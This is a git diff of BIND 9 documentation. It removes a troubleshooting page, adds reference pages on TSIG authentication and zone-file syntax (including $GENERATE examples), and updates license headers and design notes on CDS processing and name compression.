-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. Troubleshooting:
-
-Troubleshooting
-===============
-
-.. _common_problems:
-
-Common Problems
----------------
-
-It's Not Working; How Can I Figure Out What's Wrong?
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The best solution to installation and configuration issues is to
-take preventive measures by setting up logging files beforehand. The
-log files provide hints and information that can be used to
-identify anything that went wrong and fix the problem.
-
-EDNS Compliance Issues
-~~~~~~~~~~~~~~~~~~~~~~
-
-EDNS (Extended DNS) is a standard that was first specified in 1999. It
-is required for DNSSEC validation, DNS COOKIE options, and other
-features. There are broken and outdated DNS servers and firewalls still
-in use which misbehave when queried with EDNS; for example, they may
-drop EDNS queries rather than replying with FORMERR. BIND and other
-recursive name servers have traditionally employed workarounds in this
-situation, retrying queries in different ways and eventually falling
-back to plain DNS queries without EDNS.
-
-Such workarounds cause unnecessary resolution delays, increase code
-complexity, and prevent deployment of new DNS features. In February
-2019, all major DNS software vendors removed these
-workarounds; see https://dnsflagday.net/2019 for further details. This change
-was implemented in BIND as of release 9.14.0.
-
-As a result, some domains may be non-resolvable without manual
-intervention. In these cases, resolution can be restored by adding
-``server`` clauses for the offending servers, or by specifying ``edns no`` or
-``send-cookie no``, depending on the specific noncompliance.
-
-To determine which ``server`` clause to use, run the following commands
-to send queries to the authoritative servers for the broken domain:
-
-::
-
-           dig soa <zone> @<server> +dnssec
-           dig soa <zone> @<server> +dnssec +nocookie
-           dig soa <zone> @<server> +noedns
-
-
-If the first command fails but the second succeeds, the server most
-likely needs ``send-cookie no``. If the first two fail but the third
-succeeds, then the server needs EDNS to be fully disabled with
-``edns no``.
-
-Please contact the administrators of noncompliant domains and encourage
-them to upgrade their broken DNS servers.
-
-Incrementing and Changing the Serial Number
--------------------------------------------
-
-Zone serial numbers are just numbers — they are not date-related. However, many
-people set them to a number that represents a date, usually of the
-form YYYYMMDDRR. Occasionally they make a mistake and set the serial number to a
-date in the future, then try to correct it by setting it to the
-current date. This causes problems because serial numbers are used to
-indicate that a zone has been updated. If the serial number on the secondary
-server is lower than the serial number on the primary, the secondary server
-attempts to update its copy of the zone.
-
-Setting the serial number to a lower number on the primary server than the one
-on the secondary server means that the secondary will not perform updates to its
-copy of the zone.
-
-The solution to this is to add 2147483647 (2^31-1) to the number, reload
-the zone and make sure all secondaries have updated to the new zone serial
-number, then reset it to the desired number and reload the
-zone again.
-
-.. _more_help:
-
-Where Can I Get Help?
----------------------
-The BIND-users mailing list, at https://lists.isc.org/mailman/listinfo/bind-users, is an excellent resource for
-peer user support. In addition, ISC maintains a Knowledgebase of helpful articles
-at https://kb.isc.org.
-
-Internet Systems Consortium (ISC) offers annual support agreements
-for BIND 9, ISC DHCP, and Kea DHCP. 
-All paid support contracts include advance security notifications; some levels include
-service level agreements (SLAs), premium software features, and increased priority on bug fixes
-and feature requests.
-
-Please contact info@isc.org or visit
-https://www.isc.org/contact/ for more information.
diff --git a/doc/arm/tsig.inc.rst b/doc/arm/tsig.inc.rst
new file mode 100644
index 0000000000..29da1e7e6c
--- /dev/null
+++ b/doc/arm/tsig.inc.rst
@@ -0,0 +1,162 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _tsig:
+
+TSIG
+----
+
+TSIG (Transaction SIGnatures) is a mechanism for authenticating DNS
+messages, originally specified in :rfc:`2845`. It allows DNS messages to be
+cryptographically signed using a shared secret. TSIG can be used in any
+DNS transaction, as a way to restrict access to certain server functions
+(e.g., recursive queries) to authorized clients when IP-based access
+control is insufficient or needs to be overridden, or as a way to ensure
+message authenticity when it is critical to the integrity of the server,
+such as with dynamic UPDATE messages or zone transfers from a primary to
+a secondary server.
+
+This section is a guide to setting up TSIG in BIND. It describes the
+configuration syntax and the process of creating TSIG keys.
+
+:iscman:`named` supports TSIG for server-to-server communication, and some of
+the tools included with BIND support it for sending messages to
+:iscman:`named`:
+
+   * :ref:`man_nsupdate` supports TSIG via the :option:`-k <nsupdate -k>`, :option:`-l <nsupdate -l>`, and :option:`-y <nsupdate -y>` command-line options, or via the ``key`` command when running interactively.
+   * :ref:`man_dig` supports TSIG via the :option:`-k <dig -k>` and :option:`-y <dig -y>` command-line options.
+
+Generating a Shared Key
+~~~~~~~~~~~~~~~~~~~~~~~
+
+TSIG keys can be generated using the :iscman:`tsig-keygen` command; the output
+of the command is a ``key`` directive suitable for inclusion in
+:iscman:`named.conf`. The key name, algorithm, and size can be specified by
+command-line parameters; the defaults are "tsig-key", HMAC-SHA256, and
+256 bits, respectively.
+
+Any string which is a valid DNS name can be used as a key name. For
+example, a key to be shared between servers called ``host1`` and ``host2``
+could be called "host1-host2.", and this key can be generated using:
+
+::
+
+     $ tsig-keygen host1-host2. > host1-host2.key
+
+This key may then be copied to both hosts. The key name and secret must
+be identical on both hosts. (Note: copying a shared secret from one
+server to another is beyond the scope of the DNS. A secure transport
+mechanism should be used: secure FTP, SSL, ssh, telephone, encrypted
+email, etc.)
+
+:iscman:`tsig-keygen` can also be run as :iscman:`ddns-confgen`, in which case its
+output includes additional configuration text for setting up dynamic DNS
+in :iscman:`named`. See :ref:`man_ddns-confgen` for details.
+
+Loading a New Key
+~~~~~~~~~~~~~~~~~
+
+For a key shared between servers called ``host1`` and ``host2``, the
+following could be added to each server's :iscman:`named.conf` file:
+
+::
+
+   key "host1-host2." {
+       algorithm hmac-sha256;
+       secret "DAopyf1mhCbFVZw7pgmNPBoLUq8wEUT7UuPoLENP2HY=";
+   };
+
+(This is the same key generated above using :iscman:`tsig-keygen`.)
+
+Since this text contains a secret, it is recommended that either
+:iscman:`named.conf` not be world-readable, or that the ``key`` directive be
+stored in a file which is not world-readable and which is included in
+:iscman:`named.conf` via the ``include`` directive.
+
+Once a key has been added to :iscman:`named.conf` and the server has been
+restarted or reconfigured, the server can recognize the key. If the
+server receives a message signed by the key, it is able to verify
+the signature. If the signature is valid, the response is signed
+using the same key.
+
+Instructing the Server to Use a Key
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+A server sending a request to another server must be told whether to use
+a key, and if so, which key to use.
+
+For example, a key may be specified for each server in the :any:`primaries`
+statement in the definition of a secondary zone; in this case, all SOA QUERY
+messages, NOTIFY messages, and zone transfer requests (AXFR or IXFR)
+are signed using the specified key. Keys may also be specified in
+the :any:`also-notify` statement of a primary or secondary zone, causing NOTIFY
+messages to be signed using the specified key.
+
+Keys can also be specified in a :namedconf:ref:`server` directive. Adding the
+following on ``host1``, if the IP address of ``host2`` is 10.1.2.3, would
+cause *all* requests from ``host1`` to ``host2``, including normal DNS
+queries, to be signed using the ``host1-host2.`` key:
+
+::
+
+   server 10.1.2.3 {
+       keys { host1-host2. ;};
+   };
+
+Multiple keys may be present in the :any:`keys` statement, but only the
+first one is used. As this directive does not contain secrets, it can be
+used in a world-readable file.
+
+Requests sent by ``host2`` to ``host1`` would *not* be signed, unless a
+similar ``server`` directive were in ``host2``'s configuration file.
+
+When any server sends a TSIG-signed DNS request, it expects the
+response to be signed with the same key. If a response is not signed, or
+if the signature is not valid, the response is rejected.
+
+TSIG-Based Access Control
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+TSIG keys may be specified in ACL definitions and ACL directives such as
+:any:`allow-query`, :any:`allow-transfer`, and :any:`allow-update`. The above key
+would be denoted in an ACL element as ``key host1-host2.``
+
+Here is an example of an :any:`allow-update` directive using a TSIG key:
+
+::
+
+   allow-update { !{ !localnets; any; }; key host1-host2. ;};
+
+This allows dynamic updates to succeed only if the UPDATE request comes
+from an address in ``localnets``, *and* if it is signed using the
+``host1-host2.`` key.
+
+See :ref:`dynamic_update_policies` for a
+discussion of the more flexible :any:`update-policy` statement.
+
+Errors
+~~~~~~
+
+Processing of TSIG-signed messages can result in several errors:
+
+-  If a TSIG-aware server receives a message signed by an unknown key,
+   the response will be unsigned, with the TSIG extended error code set
+   to BADKEY.
+-  If a TSIG-aware server receives a message from a known key but with
+   an invalid signature, the response will be unsigned, with the TSIG
+   extended error code set to BADSIG.
+-  If a TSIG-aware server receives a message with a time outside of the
+   allowed range, the response will be signed but the TSIG extended
+   error code set to BADTIME, and the time values will be adjusted so
+   that the response can be successfully verified.
+
+In all of the above cases, the server returns a response code of
+NOTAUTH (not authenticated).
diff --git a/doc/arm/zones.inc.rst b/doc/arm/zones.inc.rst
new file mode 100644
index 0000000000..34afe377de
--- /dev/null
+++ b/doc/arm/zones.inc.rst
@@ -0,0 +1,501 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _zone_file:
+
+.. _soa_rr:
+
+Zone File
+---------
+
+This section, largely borrowed from :rfc:`1034`, describes the concept of a
+Resource Record (RR) and explains how to use them.
+
+Resource Records
+~~~~~~~~~~~~~~~~
+
+A domain name identifies a node in the DNS tree namespace. Each node has a set of resource
+information, which may be empty. The set of resource information
+associated with a particular name is composed of separate RRs. The order
+of RRs in a set is not significant and need not be preserved by name
+servers, resolvers, or other parts of the DNS. However, sorting of
+multiple RRs is permitted for optimization purposes: for example, to
+specify that a particular nearby server be tried first. See
+:any:`sortlist` and :ref:`rrset_ordering`.
+
+The components of a Resource Record are:
+
+.. glossary::
+
+   owner name
+      The domain name where the RR is found.
+
+   RR type
+      An encoded 16-bit value that specifies the type of the resource record.
+      For a list of *types* of valid RRs, including those that have been obsoleted, please refer to
+      `https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-4`.
+
+   TTL
+      The time-to-live of the RR. This field is a 32-bit integer in units of seconds,
+      and is primarily used by resolvers when they cache RRs. The TTL describes how long
+      a RR can be cached before it should be discarded.
+
+   class
+      An encoded 16-bit value that identifies a protocol family or an instance of a protocol.
+
+   RDATA
+      The resource data. The format of the data is type- and sometimes class-specific.
+
+
+The following *classes* of resource records are currently valid in the
+DNS:
+
+.. glossary::
+
+   IN
+      The Internet. The only widely :term:`class` used today.
+
+   CH
+      Chaosnet, a LAN protocol created at MIT in the mid-1970s. It was rarely used for its historical purpose, but was reused for BIND's built-in server information zones, e.g., **version.bind**.
+
+   HS
+      Hesiod, an information service developed by MIT's Project Athena. It was used to share information about various systems databases, such as users, groups, printers, etc.
+
+The :term:`owner name` is often implicit, rather than forming an integral part
+of the RR. For example, many name servers internally form tree or hash
+structures for the name space, and chain RRs off nodes. The remaining RR
+parts are the fixed header (type, class, TTL), which is consistent for
+all RRs, and a variable part (RDATA) that fits the needs of the resource
+being described.
+
+The TTL field is a time limit on how long an RR can be
+kept in a cache. This limit does not apply to authoritative data in
+zones; that also times out, but follows the refreshing policies for the
+zone. The TTL is assigned by the administrator for the zone where the
+data originates. While short TTLs can be used to minimize caching, and a
+zero TTL prohibits caching, the realities of Internet performance
+suggest that these times should be on the order of days for the typical
+host. If a change is anticipated, the TTL can be reduced prior to
+the change to minimize inconsistency, and then
+increased back to its former value following the change.
+
+The data in the RDATA section of RRs is carried as a combination of
+binary strings and domain names. The domain names are frequently used as
+"pointers" to other data in the DNS.
+
+.. _rr_text:
+
+Textual Expression of RRs
+^^^^^^^^^^^^^^^^^^^^^^^^^
+
+RRs are represented in binary form in the packets of the DNS protocol,
+and are usually represented in highly encoded form when stored in a name
+server or resolver. In the examples provided in :rfc:`1034`, a style
+similar to that used in primary files was employed in order to show the
+contents of RRs. In this format, most RRs are shown on a single line,
+although continuation lines are possible using parentheses.
+
+The start of the line gives the owner of the RR. If a line begins with a
+blank, then the owner is assumed to be the same as that of the previous
+RR. Blank lines are often included for readability.
+
+Following the owner are listed the TTL, type, and class of the RR. Class
+and type use the mnemonics defined above, and TTL is an integer before
+the type field. To avoid ambiguity in parsing, type and class
+mnemonics are disjoint, TTLs are integers, and the type mnemonic is
+always last. The IN class and TTL values are often omitted from examples
+in the interest of clarity.
+
+The resource data or RDATA section of the RR is given using knowledge
+of the typical representation for the data.
+
+For example, the RRs carried in a message might be shown as:
+
+ +---------------------+---------------+--------------------------------+
+ | **ISI.EDU.**        | **MX**        | **10 VENERA.ISI.EDU.**         |
+ +---------------------+---------------+--------------------------------+
+ |                     | **MX**        | **10 VAXA.ISI.EDU**            |
+ +---------------------+---------------+--------------------------------+
+ | **VENERA.ISI.EDU**  | **A**         | **128.9.0.32**                 |
+ +---------------------+---------------+--------------------------------+
+ |                     | **A**         | **10.1.0.52**                  |
+ +---------------------+---------------+--------------------------------+
+ | **VAXA.ISI.EDU**    | **A**         | **10.2.0.27**                  |
+ +---------------------+---------------+--------------------------------+
+ |                     | **A**         | **128.9.0.33**                 |
+ +---------------------+---------------+--------------------------------+
+
+The MX RRs have an RDATA section which consists of a 16-bit number
+followed by a domain name. The address RRs use a standard IP address
+format to contain a 32-bit Internet address.
+
+The above example shows six RRs, with two RRs at each of three domain
+names.
+
+Here is another possible example:
+
+ +----------------------+---------------+-------------------------------+
+ | **XX.LCS.MIT.EDU.**  | **IN A**      | **10.0.0.44**                 |
+ +----------------------+---------------+-------------------------------+
+ |                      | **CH A**      | **MIT.EDU. 2420**             |
+ +----------------------+---------------+-------------------------------+
+
+This shows two addresses for **XX.LCS.MIT.EDU**, each of a
+different class.
+
+.. _mx_records:
+
+Discussion of MX Records
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+As described above, domain servers store information as a series of
+resource records, each of which contains a particular piece of
+information about a given domain name (which is usually, but not always,
+a host). The simplest way to think of an RR is as a typed pair of data, a
+domain name matched with a relevant datum and stored with some
+additional type information, to help systems determine when the RR is
+relevant.
+
+MX records are used to control delivery of email. The data specified in
+the record is a priority and a domain name. The priority controls the
+order in which email delivery is attempted, with the lowest number
+first. If two priorities are the same, a server is chosen randomly. If
+no servers at a given priority are responding, the mail transport agent
+falls back to the next largest priority. Priority numbers do not
+have any absolute meaning; they are relevant only respective to other
+MX records for that domain name. The domain name given is the machine to
+which the mail is delivered. It *must* have an associated address
+record (A or AAAA); CNAME is not sufficient.
+
+For a given domain, if there is both a CNAME record and an MX record,
+the MX record is in error and is ignored. Instead, the mail is
+delivered to the server specified in the MX record pointed to by the
+CNAME. For example:
+
+ +------------------------+--------+--------+--------------+------------------------+
+ | **example.com.**       | **IN** | **MX** | **10**       | **mail.example.com.**  |
+ +------------------------+--------+--------+--------------+------------------------+
+ |                        | **IN** | **MX** | **10**       | **mail2.example.com.** |
+ +------------------------+--------+--------+--------------+------------------------+
+ |                        | **IN** | **MX** | **20**       | **mail.backup.org.**   |
+ +------------------------+--------+--------+--------------+------------------------+
+ | **mail.example.com.**  | **IN** | **A**  | **10.0.0.1** |                        |
+ +------------------------+--------+--------+--------------+------------------------+
+ | **mail2.example.com.** | **IN** | **A**  | **10.0.0.2** |                        |
+ +------------------------+--------+--------+--------------+------------------------+
+
+Mail delivery is attempted to **mail.example.com** and
+**mail2.example.com** (in any order); if neither of those succeeds,
+delivery to **mail.backup.org** is attempted.
+
+.. _Setting_TTLs:
+
+Setting TTLs
+~~~~~~~~~~~~
+
+The time-to-live (TTL) of the RR field is a 32-bit integer represented in
+units of seconds, and is primarily used by resolvers when they cache
+RRs. The TTL describes how long an RR can be cached before it should be
+discarded. The following three types of TTLs are currently used in a zone
+file.
+
+.. glossary::
+
+   SOA minimum
+       The last field in the SOA is the negative caching TTL.
+       This controls how long other servers cache no-such-domain (NXDOMAIN)
+       responses from this server. Further details can be found in :rfc:`2308`.
+
+       The maximum time for negative caching is 3 hours (3h).
+
+   $TTL
+       The $TTL directive at the top of the zone file (before the SOA) gives a default TTL for every RR without a specific TTL set.
+
+   RR TTLs
+       Each RR can have a TTL as the second field in the RR, which controls how long other servers can cache it.
+
+All of these TTLs default to units of seconds, though units can be
+explicitly specified: for example, **1h30m**.
+
+.. _ipv4_reverse:
+
+Inverse Mapping in IPv4
+~~~~~~~~~~~~~~~~~~~~~~~
+
+Reverse name resolution (that is, translation from IP address to name)
+is achieved by means of the **in-addr.arpa** domain and PTR records.
+Entries in the in-addr.arpa domain are made in least-to-most significant
+order, read left to right. This is the opposite order to the way IP
+addresses are usually written. Thus, a machine with an IP address of
+10.1.2.3 would have a corresponding in-addr.arpa name of
+3.2.1.10.in-addr.arpa. This name should have a PTR resource record whose
+data field is the name of the machine or, optionally, multiple PTR
+records if the machine has more than one name. For example, in the
+**example.com** domain:
+
+ +--------------+-------------------------------------------------------+
+ | **$ORIGIN**  | **2.1.10.in-addr.arpa**                               |
+ +--------------+-------------------------------------------------------+
+ | **3**        | **IN PTR foo.example.com.**                           |
+ +--------------+-------------------------------------------------------+
+
+.. note::
+
+   The **$ORIGIN** line in this example is only to provide context;
+   it does not necessarily appear in the actual
+   usage. It is only used here to indicate that the example is
+   relative to the listed origin.
+
+.. _zone_directives:
+
+Other Zone File Directives
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The DNS "master file" format was initially defined in :rfc:`1035` and has
+subsequently been extended. While the format itself is class-independent,
+all records in a zone file must be of the same class.
+
+Master file directives include **$ORIGIN**, **$INCLUDE**, and **$TTL.**
+
+.. _atsign:
+
+The **@** (at-sign)
+^^^^^^^^^^^^^^^^^^^
+
+When used in the label (or name) field, the asperand or at-sign (@)
+symbol represents the current origin. At the start of the zone file, it
+is the <**zone_name**>, followed by a trailing dot (.).
+
+.. _origin_directive:
+
+The **$ORIGIN** Directive
+^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Syntax: **$ORIGIN** domain-name [comment]
+
+**$ORIGIN** sets the domain name that is appended to any
+unqualified records. When a zone is first read, there is an implicit
+``$ORIGIN <zone_name>.``; note the trailing dot. The
+current **$ORIGIN** is appended to the domain specified in the
+**$ORIGIN** argument if it is not absolute.
+
+::
+
+   $ORIGIN example.com.
+   WWW     CNAME   MAIN-SERVER
+
+is equivalent to
+
+::
+
+   WWW.EXAMPLE.COM. CNAME MAIN-SERVER.EXAMPLE.COM.
+
+The **$INCLUDE** Directive
+^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Syntax: **$INCLUDE** filename [origin] [comment]
+
+This reads and processes the file **filename** as if it were included in the
+file at this point. The **filename** can be an absolute path, or a relative
+path. In the latter case it is read from :iscman:`named`'s working directory. If
+**origin** is specified, the file is processed with **$ORIGIN** set to that
+value; otherwise, the current **$ORIGIN** is used.
+
+The origin and the current domain name revert to the values they had
+prior to the **$INCLUDE** once the file has been read.
+
+.. note::
+
+   :rfc:`1035` specifies that the current origin should be restored after
+   an **$INCLUDE**, but it is silent on whether the current domain name
+   should also be restored. BIND 9 restores both of them. This could be
+   construed as a deviation from :rfc:`1035`, a feature, or both.
+
+.. _ttl_directive:
+
+The **$TTL** Directive
+^^^^^^^^^^^^^^^^^^^^^^
+
+Syntax: **$TTL** default-ttl [comment]
+
+This sets the default Time-To-Live (TTL) for subsequent records with undefined
+TTLs. Valid TTLs are of the range 0-2147483647 seconds.
+
+**$TTL** is defined in :rfc:`2308`.
+
+.. _generate_directive:
+
+BIND Primary File Extension: the **$GENERATE** Directive
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Syntax: **$GENERATE** range owner [ttl] [class] type rdata [comment]
+
+**$GENERATE** is used to create a series of resource records that only
+differ from each other by an iterator.
+
+**range**
+    This can be one of two forms: start-stop or start-stop/step.
+    If the first form is used, then step is set to 1. "start",
+    "stop", and "step" must be positive integers between 0 and
+    (2^31)-1. "start" must not be larger than "stop".
+
+**owner**
+    This describes the owner name of the resource records to be created.
+
+    The **owner** string may include one or more **$** (dollar sign)
+    symbols, which will be replaced with the iterator value when
+    generating records; see below for details.
+
+**ttl**
+    This specifies the time-to-live of the generated records. If
+    not specified, this is inherited using the normal TTL inheritance
+    rules.
+
+    **class** and **ttl** can be entered in either order.
+
+**class**
+    This specifies the class of the generated records. This must
+    match the zone class if it is specified.
+
+    **class** and **ttl** can be entered in either order.
+
+**type**
+    This can be any valid type.
+
+**rdata**
+    This is a string containing the RDATA of the resource record
+    to be created. As with **owner**, the **rdata** string may
+    include one or more **$** symbols, which are replaced with the
+    iterator value. **rdata** may be quoted if there are spaces in
+    the string; the quotation marks do not appear in the generated
+    record.
+
+    Any single **$** (dollar sign) symbols within the **owner** or
+    **rdata** strings are replaced by the iterator value. To get a **$**
+    in the output, escape the **$** using a backslash **\\**, e.g.,
+    ``\$``. (For compatibility with earlier versions, **$$** is also
+    recognized as indicating a literal **$** in the output.)
+
+    The **$** may optionally be followed by modifiers which change
+    the offset from the iterator, field width, and base.  Modifiers
+    are introduced by a **{** (left brace) immediately following
+    the **$**, as in  **${offset[,width[,base]]}**. For example,
+    **${-20,3,d}** subtracts 20 from the current value and prints
+    the result as a decimal in a zero-padded field of width 3.
+    Available output forms are decimal (**d**), octal (**o**),
+    hexadecimal (**x** or **X** for uppercase), and nibble (**n**
+    or **N** for uppercase). The modfiier cannot contain whitespace
+    or newlines.
+
+    The default modifier is **${0,0,d}**. If the **owner** is not
+    absolute, the current **$ORIGIN** is appended to the name.
+
+    In nibble mode, the value is treated as if it were a reversed
+    hexadecimal string, with each hexadecimal digit as a separate
+    label. The width field includes the label separator.
+
+Examples:
+
+**$GENERATE** can be used to easily generate the sets of records required
+to support sub-/24 reverse delegations described in :rfc:`2317`:
+
+::
+
+   $ORIGIN 0.0.192.IN-ADDR.ARPA.
+   $GENERATE 1-2 @ NS SERVER$.EXAMPLE.
+   $GENERATE 1-127 $ CNAME $.0
+
+is equivalent to
+
+::
+
+   0.0.0.192.IN-ADDR.ARPA. NS SERVER1.EXAMPLE.
+   0.0.0.192.IN-ADDR.ARPA. NS SERVER2.EXAMPLE.
+   1.0.0.192.IN-ADDR.ARPA. CNAME 1.0.0.0.192.IN-ADDR.ARPA.
+   2.0.0.192.IN-ADDR.ARPA. CNAME 2.0.0.0.192.IN-ADDR.ARPA.
+   ...
+   127.0.0.192.IN-ADDR.ARPA. CNAME 127.0.0.0.192.IN-ADDR.ARPA.
+
+This example creates a set of A and MX records. Note the MX's **rdata**
+is a quoted string; the quotes are stripped when **$GENERATE** is processed:
+
+::
+
+   $ORIGIN EXAMPLE.
+   $GENERATE 1-127 HOST-$ A 1.2.3.$
+   $GENERATE 1-127 HOST-$ MX "0 ."
+
+is equivalent to
+
+::
+
+   HOST-1.EXAMPLE.   A  1.2.3.1
+   HOST-1.EXAMPLE.   MX 0 .
+   HOST-2.EXAMPLE.   A  1.2.3.2
+   HOST-2.EXAMPLE.   MX 0 .
+   HOST-3.EXAMPLE.   A  1.2.3.3
+   HOST-3.EXAMPLE.   MX 0 .
+   ...
+   HOST-127.EXAMPLE. A  1.2.3.127
+   HOST-127.EXAMPLE. MX 0 .
+
+
+This example generates A and AAAA records using modifiers; the AAAA
+**owner** names are generated using nibble mode:
+
+::
+
+   $ORIGIN EXAMPLE.
+   $GENERATE 0-2 HOST-${0,4,d} A 1.2.3.${1,0,d}
+   $GENERATE 1024-1026 ${0,3,n} AAAA 2001:db8::${0,4,x}
+
+is equivalent to:
+
+::
+
+   HOST-0000.EXAMPLE.   A      1.2.3.1
+   HOST-0001.EXAMPLE.   A      1.2.3.2
+   HOST-0002.EXAMPLE.   A      1.2.3.3
+   0.0.4.EXAMPLE.       AAAA   2001:db8::400
+   1.0.4.EXAMPLE.       AAAA   2001:db8::401
+   2.0.4.EXAMPLE.       AAAA   2001:db8::402
+
+The **$GENERATE** directive is a BIND extension and not part of the
+standard zone file format.
+
+.. _zonefile_format:
+
+Additional File Formats
+~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to the standard text format, BIND 9 supports the ability
+to read or dump to zone files in other formats.
+
+The **raw** format is a binary representation of zone data in a manner
+similar to that used in zone transfers. Since it does not require
+parsing text, load time is significantly reduced.
+
+For a primary server, a zone file in **raw** format is expected
+to be generated from a text zone file by the :iscman:`named-compilezone` command.
+For a secondary server or a dynamic zone, the zone file is automatically
+generated when :iscman:`named` dumps the zone contents after zone transfer or
+when applying prior updates, if one of these formats is specified by the
+**masterfile-format** option.
+
+If a zone file in **raw** format needs manual modification, it first must
+be converted to **text** format by the :iscman:`named-compilezone` command,
+then converted back after editing.  For example:
+
+::
+
+    named-compilezone -f raw -F text -o zonefile.text <origin> zonefile.raw
+    [edit zonefile.text]
+    named-compilezone -f text -F raw -o zonefile.raw <origin> zonefile.text
diff --git a/doc/design/addressdb b/doc/design/addressdb
index 693c3baaa9..6c4b447b02 100644
--- a/doc/design/addressdb
+++ b/doc/design/addressdb
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 You are lost in a maze of twisty little pointers, all alike...
 
diff --git a/doc/design/cds-child b/doc/design/cds-child
index aa48468d7d..a2a4678ef5 100644
--- a/doc/design/cds-child
+++ b/doc/design/cds-child
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 	  CDS / CDNSKEY Child side processing.
 
@@ -20,10 +29,12 @@ See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
 
   Non-matching CDS and CDNSKEY are removed.
 
-* auto-dnssec maintain should cds and/or cdnskey to zone apex iff the 
-  DNSKEY is published and is signing the DNSKEY RRset.   CDS and CDNSKEY
-  records are only removed if there is a deletion date set (implicit on
-  matching DNSKEY going inactive / unpublished or explicit).
+* dnssec-policy publishes cds and/or cdnskey to zone apex iff the
+  DNSKEY is published, is signing the DNSKEY RRset, and if it has been
+  propagated into caches.
+
+  CDS and CDNSKEY records are removed if the corresponding DNSKEY has
+  been removed from zone and caches.
 
 * UPDATE should check that CDS and CDNSKEY match a active DNSKEY that
   is signing the DNSKEY RRset and ignore otherwise.  This should be
diff --git a/doc/design/compression b/doc/design/compression
deleted file mode 100644
index b1ed1691b1..0000000000
--- a/doc/design/compression
+++ /dev/null
@@ -1,150 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-			Name Compression
-
-Overview.
-
-	BIND 4.x and BIND 8.x only had one methods of compression to deal
-	with 14 bit compression.  BIND 9 has 3 methods of compression
-	to deal with 14 bit, 16 bit and local compression (14 and 16 bit).
-
-	In addition to this the allowed compression methods vary across
-	types and across client revisions thanks to EDNS.
-
-	To be able to compress a domain name you need to some or all of
-	the following pieces of information.
-
-	1. where the message starts.
-	2. where the current rdata starts in the message (local compression).
-	3. what the current owner name is (local compression).
-	4. existing global 14 bit compression targets.
-	5. existing global 16 bit compression targets.
-	6. existing local compression targets.
-	7. the current domain name.
-	8. what are allowable compression methods, these are not constant
-	   across a message.
-
-	BIND 4.x and BIND 8.x used a table of existing 14 bit compression
-	targets.
-
-	The implicit assumption is that we will use compression whenever
-	possible and when ever there are multiple alternatives available
-	we will choose the one that minimises the size of the message.
-
-	We will need functions that determine the allowable compression
-	methods, find the "best" match among the available compression
-	targets, add new compression targets.
-
-	We need to be able to back out any changes made to the compression
-	targets if we are unable to add a complete RR (RRset?). This is
-	only a problem for the global compression targets.
-
-Implementation:
-
-	We will maintain two RBT, one for local compression targets and
-	one for global compression targets.  The data for these RBT will
-	be the offset values.  The local compression RBT only needs to
-	be maintained when local compression is possible. The global
-	compression RBT is maintained regardless.  Unless there is a
-	perfect match (or the name is ".") we will add the name to the
-	compression RBTs provide the offset would not be too large for
-	the valid compression methods of the RBT.  All nodes of the RBT
-	will have an offset excluding the root node.
-
-	The local compression RBT will be initialised with the owner name
-	and the start of the rdata will be recorded.
-
-	We will use deepest partial match to find the potential
-	compression targets.
-
-	We only need to maintain one global RBT as 16 bit compression
-	pointers are either valid or invalid for the whole message.
-
-	dns_rdata_towire() will set the allowed methods based on the
-	edns version.
-
-Functions:
-
-	dns_result_t
-	dns_compress_init(dns_compress_t *cctx, int edns, isc_mem_t *mctx);
-
-	Initialises cctx to empty and sets whether 16 bit global
-	compression targets are to be added to the global RBT based on the
-	edns value.
-
-	dns_result_t
-	dns_compress_localinit(dns_compress_t *cctx, dns_name_t *owner,
-			       isc_buffer_t *target);
-
-	Initialise a RBT for local compression, freeing and existing RBT.
-	Record current offset.
-
-	dns_compress_invalidate(dns_compress_t *cctx);
-
-	Free any RBT's and make empty.
-
